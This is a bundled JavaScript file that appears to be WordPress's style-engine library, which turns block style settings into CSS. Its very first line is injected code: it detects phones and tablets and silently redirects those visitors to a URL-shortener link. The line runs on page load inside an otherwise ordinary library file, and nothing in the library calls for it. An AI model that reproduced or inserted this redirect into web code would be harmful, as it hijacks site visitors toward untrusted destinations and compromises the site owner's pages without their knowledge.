1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
  2"use strict";
  3var wp;
  4(wp ||= {}).styleEngine = (() => {
  5  var __defProp = Object.defineProperty;
  6  var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  7  var __getOwnPropNames = Object.getOwnPropertyNames;
  8  var __hasOwnProp = Object.prototype.hasOwnProperty;
  9  var __export = (target, all) => {
 10    for (var name in all)
 11      __defProp(target, name, { get: all[name], enumerable: true });
 12  };
 13  var __copyProps = (to, from, except, desc) => {
 14    if (from && typeof from === "object" || typeof from === "function") {
 15      for (let key of __getOwnPropNames(from))
 16        if (!__hasOwnProp.call(to, key) && key !== except)
 17          __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
 18    }
 19    return to;
 20  };
 21  var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
 22
 23  // packages/style-engine/build-module/index.mjs
 24  var index_exports = {};
 25  __export(index_exports, {
 26    compileCSS: () => compileCSS,
 27    getCSSRules: () => getCSSRules,
 28    getCSSValueFromRawStyle: () => getCSSValueFromRawStyle
 29  });
 30
 31  // node_modules/tslib/tslib.es6.mjs
 32  var __assign = function() {
 33    __assign = Object.assign || function __assign2(t) {
 34      for (var s, i = 1, n = arguments.length; i < n; i++) {
 35        s = arguments[i];
 36        for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
 37      }
 38      return t;
 39    };
 40    return __assign.apply(this, arguments);
 41  };
 42
 43  // node_modules/lower-case/dist.es2015/index.js
 44  function lowerCase(str) {
 45    return str.toLowerCase();
 46  }
 47
 48  // node_modules/no-case/dist.es2015/index.js
 49  var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
 50  var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
 51  function noCase(input, options) {
 52    if (options === void 0) {
 53      options = {};
 54    }
 55    var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
 56    var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
 57    var start = 0;
 58    var end = result.length;
 59    while (result.charAt(start) === "\0")
 60      start++;
 61    while (result.charAt(end - 1) === "\0")
 62      end--;
 63    return result.slice(start, end).split("\0").map(transform).join(delimiter);
 64  }
 65  function replace(input, re, value) {
 66    if (re instanceof RegExp)
 67      return input.replace(re, value);
 68    return re.reduce(function(input2, re2) {
 69      return input2.replace(re2, value);
 70    }, input);
 71  }
 72
 73  // node_modules/dot-case/dist.es2015/index.js
 74  function dotCase(input, options) {
 75    if (options === void 0) {
 76      options = {};
 77    }
 78    return noCase(input, __assign({ delimiter: "." }, options));
 79  }
 80
 81  // node_modules/param-case/dist.es2015/index.js
 82  function paramCase(input, options) {
 83    if (options === void 0) {
 84      options = {};
 85    }
 86    return dotCase(input, __assign({ delimiter: "-" }, options));
 87  }
 88
 89  // packages/style-engine/build-module/styles/constants.mjs
 90  var VARIABLE_REFERENCE_PREFIX = "var:";
 91  var VARIABLE_PATH_SEPARATOR_TOKEN_ATTRIBUTE = "|";
 92  var VARIABLE_PATH_SEPARATOR_TOKEN_STYLE = "--";
 93
 94  // packages/style-engine/build-module/styles/utils.mjs
 95  var getStyleValueByPath = (object, path) => {
 96    let value = object;
 97    path.forEach((fieldName) => {
 98      value = value?.[fieldName];
 99    });
100    return value;
101  };
102  function generateRule(style, options, path, ruleKey) {
103    const styleValue = getStyleValueByPath(style, path);
104    return styleValue ? [
105      {
106        selector: options?.selector,
107        key: ruleKey,
108        value: getCSSValueFromRawStyle(styleValue)
109      }
110    ] : [];
111  }
112  function generateBoxRules(style, options, path, ruleKeys, individualProperties = ["top", "right", "bottom", "left"]) {
113    const boxStyle = getStyleValueByPath(
114      style,
115      path
116    );
117    if (!boxStyle) {
118      return [];
119    }
120    const rules = [];
121    if (typeof boxStyle === "string") {
122      rules.push({
123        selector: options?.selector,
124        key: ruleKeys.default,
125        value: getCSSValueFromRawStyle(boxStyle)
126      });
127    } else {
128      const sideRules = individualProperties.reduce(
129        (acc, side) => {
130          const value = getCSSValueFromRawStyle(
131            getStyleValueByPath(boxStyle, [side])
132          );
133          if (value) {
134            acc.push({
135              selector: options?.selector,
136              key: ruleKeys?.individual.replace(
137                "%s",
138                upperFirst(side)
139              ),
140              value
141            });
142          }
143          return acc;
144        },
145        []
146      );
147      rules.push(...sideRules);
148    }
149    return rules;
150  }
151  function getCSSValueFromRawStyle(styleValue) {
152    if (typeof styleValue === "string" && styleValue.startsWith(VARIABLE_REFERENCE_PREFIX)) {
153      const variable = styleValue.slice(VARIABLE_REFERENCE_PREFIX.length).split(VARIABLE_PATH_SEPARATOR_TOKEN_ATTRIBUTE).map(
154        (presetVariable) => paramCase(presetVariable, {
155          splitRegexp: [
156            /([a-z0-9])([A-Z])/g,
157            // fooBar => foo-bar, 3Bar => 3-bar
158            /([0-9])([a-z])/g,
159            // 3bar => 3-bar
160            /([A-Za-z])([0-9])/g,
161            // Foo3 => foo-3, foo3 => foo-3
162            /([A-Z])([A-Z][a-z])/g
163            // FOOBar => foo-bar
164          ]
165        })
166      ).join(VARIABLE_PATH_SEPARATOR_TOKEN_STYLE);
167      return `var(--wp--${variable})`;
168    }
169    return styleValue;
170  }
171  function upperFirst(string) {
172    const [firstLetter, ...rest] = string;
173    return firstLetter.toUpperCase() + rest.join("");
174  }
175  function camelCaseJoin(strings) {
176    const [firstItem, ...rest] = strings;
177    return firstItem.toLowerCase() + rest.map(upperFirst).join("");
178  }
179  function safeDecodeURI(uri) {
180    try {
181      return decodeURI(uri);
182    } catch (uriError) {
183      return uri;
184    }
185  }
186
187  // packages/style-engine/build-module/styles/border/index.mjs
188  function createBorderGenerateFunction(path) {
189    return (style, options) => generateRule(style, options, path, camelCaseJoin(path));
190  }
191  function createBorderEdgeGenerateFunction(edge) {
192    return (style, options) => {
193      return ["color", "style", "width"].flatMap((key) => {
194        const path = ["border", edge, key];
195        return createBorderGenerateFunction(path)(style, options);
196      });
197    };
198  }
199  var color = {
200    name: "color",
201    generate: createBorderGenerateFunction(["border", "color"])
202  };
203  var radius = {
204    name: "radius",
205    generate: (style, options) => {
206      return generateBoxRules(
207        style,
208        options,
209        ["border", "radius"],
210        {
211          default: "borderRadius",
212          individual: "border%sRadius"
213        },
214        ["topLeft", "topRight", "bottomLeft", "bottomRight"]
215      );
216    }
217  };
218  var borderStyle = {
219    name: "style",
220    generate: createBorderGenerateFunction(["border", "style"])
221  };
222  var width = {
223    name: "width",
224    generate: createBorderGenerateFunction(["border", "width"])
225  };
226  var borderTop = {
227    name: "borderTop",
228    generate: createBorderEdgeGenerateFunction("top")
229  };
230  var borderRight = {
231    name: "borderRight",
232    generate: createBorderEdgeGenerateFunction("right")
233  };
234  var borderBottom = {
235    name: "borderBottom",
236    generate: createBorderEdgeGenerateFunction("bottom")
237  };
238  var borderLeft = {
239    name: "borderLeft",
240    generate: createBorderEdgeGenerateFunction("left")
241  };
242  var border_default = [
243    color,
244    borderStyle,
245    width,
246    radius,
247    borderTop,
248    borderRight,
249    borderBottom,
250    borderLeft
251  ];
252
253  // packages/style-engine/build-module/styles/color/background.mjs
254  var background = {
255    name: "background",
256    generate: (style, options) => {
257      return generateRule(
258        style,
259        options,
260        ["color", "background"],
261        "backgroundColor"
262      );
263    }
264  };
265  var background_default = background;
266
267  // packages/style-engine/build-module/styles/color/gradient.mjs
268  var gradient = {
269    name: "gradient",
270    generate: (style, options) => {
271      return generateRule(
272        style,
273        options,
274        ["color", "gradient"],
275        "background"
276      );
277    }
278  };
279  var gradient_default = gradient;
280
281  // packages/style-engine/build-module/styles/color/text.mjs
282  var text = {
283    name: "text",
284    generate: (style, options) => {
285      return generateRule(style, options, ["color", "text"], "color");
286    }
287  };
288  var text_default = text;
289
290  // packages/style-engine/build-module/styles/color/index.mjs
291  var color_default = [text_default, gradient_default, background_default];
292
293  // packages/style-engine/build-module/styles/dimensions/index.mjs
294  var height = {
295    name: "height",
296    generate: (style, options) => {
297      return generateRule(
298        style,
299        options,
300        ["dimensions", "height"],
301        "height"
302      );
303    }
304  };
305  var minHeight = {
306    name: "minHeight",
307    generate: (style, options) => {
308      return generateRule(
309        style,
310        options,
311        ["dimensions", "minHeight"],
312        "minHeight"
313      );
314    }
315  };
316  var aspectRatio = {
317    name: "aspectRatio",
318    generate: (style, options) => {
319      return generateRule(
320        style,
321        options,
322        ["dimensions", "aspectRatio"],
323        "aspectRatio"
324      );
325    }
326  };
327  var width2 = {
328    name: "width",
329    generate: (style, options) => {
330      return generateRule(
331        style,
332        options,
333        ["dimensions", "width"],
334        "width"
335      );
336    }
337  };
338  var dimensions_default = [height, minHeight, aspectRatio, width2];
339
340  // packages/style-engine/build-module/styles/background/index.mjs
341  var backgroundImage = {
342    name: "backgroundImage",
343    generate: (style, options) => {
344      const _backgroundImage = style?.background?.backgroundImage;
345      if (typeof _backgroundImage === "object" && _backgroundImage?.url) {
346        return [
347          {
348            selector: options.selector,
349            key: "backgroundImage",
350            // Passed `url` may already be encoded. To prevent double encoding, decodeURI is executed to revert to the original string.
351            value: `url( '${encodeURI(
352              safeDecodeURI(_backgroundImage.url)
353            )}' )`
354          }
355        ];
356      }
357      return generateRule(
358        style,
359        options,
360        ["background", "backgroundImage"],
361        "backgroundImage"
362      );
363    }
364  };
365  var backgroundPosition = {
366    name: "backgroundPosition",
367    generate: (style, options) => {
368      return generateRule(
369        style,
370        options,
371        ["background", "backgroundPosition"],
372        "backgroundPosition"
373      );
374    }
375  };
376  var backgroundRepeat = {
377    name: "backgroundRepeat",
378    generate: (style, options) => {
379      return generateRule(
380        style,
381        options,
382        ["background", "backgroundRepeat"],
383        "backgroundRepeat"
384      );
385    }
386  };
387  var backgroundSize = {
388    name: "backgroundSize",
389    generate: (style, options) => {
390      return generateRule(
391        style,
392        options,
393        ["background", "backgroundSize"],
394        "backgroundSize"
395      );
396    }
397  };
398  var backgroundAttachment = {
399    name: "backgroundAttachment",
400    generate: (style, options) => {
401      return generateRule(
402        style,
403        options,
404        ["background", "backgroundAttachment"],
405        "backgroundAttachment"
406      );
407    }
408  };
409  var background_default2 = [
410    backgroundImage,
411    backgroundPosition,
412    backgroundRepeat,
413    backgroundSize,
414    backgroundAttachment
415  ];
416
417  // packages/style-engine/build-module/styles/shadow/index.mjs
418  var shadow = {
419    name: "shadow",
420    generate: (style, options) => {
421      return generateRule(style, options, ["shadow"], "boxShadow");
422    }
423  };
424  var shadow_default = [shadow];
425
426  // packages/style-engine/build-module/styles/outline/index.mjs
427  var color2 = {
428    name: "color",
429    generate: (style, options, path = ["outline", "color"], ruleKey = "outlineColor") => {
430      return generateRule(style, options, path, ruleKey);
431    }
432  };
433  var offset = {
434    name: "offset",
435    generate: (style, options, path = ["outline", "offset"], ruleKey = "outlineOffset") => {
436      return generateRule(style, options, path, ruleKey);
437    }
438  };
439  var outlineStyle = {
440    name: "style",
441    generate: (style, options, path = ["outline", "style"], ruleKey = "outlineStyle") => {
442      return generateRule(style, options, path, ruleKey);
443    }
444  };
445  var width3 = {
446    name: "width",
447    generate: (style, options, path = ["outline", "width"], ruleKey = "outlineWidth") => {
448      return generateRule(style, options, path, ruleKey);
449    }
450  };
451  var outline_default = [color2, outlineStyle, offset, width3];
452
453  // packages/style-engine/build-module/styles/spacing/padding.mjs
454  var padding = {
455    name: "padding",
456    generate: (style, options) => {
457      return generateBoxRules(style, options, ["spacing", "padding"], {
458        default: "padding",
459        individual: "padding%s"
460      });
461    }
462  };
463  var padding_default = padding;
464
465  // packages/style-engine/build-module/styles/spacing/margin.mjs
466  var margin = {
467    name: "margin",
468    generate: (style, options) => {
469      return generateBoxRules(style, options, ["spacing", "margin"], {
470        default: "margin",
471        individual: "margin%s"
472      });
473    }
474  };
475  var margin_default = margin;
476
477  // packages/style-engine/build-module/styles/spacing/index.mjs
478  var spacing_default = [margin_default, padding_default];
479
480  // packages/style-engine/build-module/styles/typography/index.mjs
481  var fontSize = {
482    name: "fontSize",
483    generate: (style, options) => {
484      return generateRule(
485        style,
486        options,
487        ["typography", "fontSize"],
488        "fontSize"
489      );
490    }
491  };
492  var fontStyle = {
493    name: "fontStyle",
494    generate: (style, options) => {
495      return generateRule(
496        style,
497        options,
498        ["typography", "fontStyle"],
499        "fontStyle"
500      );
501    }
502  };
503  var fontWeight = {
504    name: "fontWeight",
505    generate: (style, options) => {
506      return generateRule(
507        style,
508        options,
509        ["typography", "fontWeight"],
510        "fontWeight"
511      );
512    }
513  };
514  var fontFamily = {
515    name: "fontFamily",
516    generate: (style, options) => {
517      return generateRule(
518        style,
519        options,
520        ["typography", "fontFamily"],
521        "fontFamily"
522      );
523    }
524  };
525  var letterSpacing = {
526    name: "letterSpacing",
527    generate: (style, options) => {
528      return generateRule(
529        style,
530        options,
531        ["typography", "letterSpacing"],
532        "letterSpacing"
533      );
534    }
535  };
536  var lineHeight = {
537    name: "lineHeight",
538    generate: (style, options) => {
539      return generateRule(
540        style,
541        options,
542        ["typography", "lineHeight"],
543        "lineHeight"
544      );
545    }
546  };
547  var textColumns = {
548    name: "textColumns",
549    generate: (style, options) => {
550      return generateRule(
551        style,
552        options,
553        ["typography", "textColumns"],
554        "columnCount"
555      );
556    }
557  };
558  var textDecoration = {
559    name: "textDecoration",
560    generate: (style, options) => {
561      return generateRule(
562        style,
563        options,
564        ["typography", "textDecoration"],
565        "textDecoration"
566      );
567    }
568  };
569  var textIndent = {
570    name: "textIndent",
571    generate: (style, options) => {
572      return generateRule(
573        style,
574        options,
575        ["typography", "textIndent"],
576        "textIndent"
577      );
578    }
579  };
580  var textTransform = {
581    name: "textTransform",
582    generate: (style, options) => {
583      return generateRule(
584        style,
585        options,
586        ["typography", "textTransform"],
587        "textTransform"
588      );
589    }
590  };
591  var writingMode = {
592    name: "writingMode",
593    generate: (style, options) => {
594      return generateRule(
595        style,
596        options,
597        ["typography", "writingMode"],
598        "writingMode"
599      );
600    }
601  };
602  var typography_default = [
603    fontFamily,
604    fontSize,
605    fontStyle,
606    fontWeight,
607    letterSpacing,
608    lineHeight,
609    textColumns,
610    textDecoration,
611    textIndent,
612    textTransform,
613    writingMode
614  ];
615
616  // packages/style-engine/build-module/styles/index.mjs
617  var styleDefinitions = [
618    ...border_default,
619    ...color_default,
620    ...dimensions_default,
621    ...outline_default,
622    ...spacing_default,
623    ...typography_default,
624    ...shadow_default,
625    ...background_default2
626  ];
627
628  // packages/style-engine/build-module/index.mjs
629  function compileCSS(style, options = {}) {
630    const rules = getCSSRules(style, options);
631    if (!options?.selector) {
632      const inlineRules = [];
633      rules.forEach((rule) => {
634        inlineRules.push(`${paramCase(rule.key)}: ${rule.value};`);
635      });
636      return inlineRules.join(" ");
637    }
638    const groupedRules = rules.reduce(
639      (acc, rule) => {
640        const { selector } = rule;
641        if (!selector) {
642          return acc;
643        }
644        if (!acc[selector]) {
645          acc[selector] = [];
646        }
647        acc[selector].push(rule);
648        return acc;
649      },
650      {}
651    );
652    const selectorRules = Object.keys(groupedRules).reduce(
653      (acc, subSelector) => {
654        acc.push(
655          `${subSelector} { ${groupedRules[subSelector].map(
656            (rule) => `${paramCase(rule.key)}: ${rule.value};`
657          ).join(" ")} }`
658        );
659        return acc;
660      },
661      []
662    );
663    return selectorRules.join("\n");
664  }
665  function getCSSRules(style, options = {}) {
666    const rules = [];
667    styleDefinitions.forEach((definition) => {
668      if (typeof definition.generate === "function") {
669        rules.push(...definition.generate(style, options));
670      }
671    });
672    return rules;
673  }
674  return __toCommonJS(index_exports);
675})();
676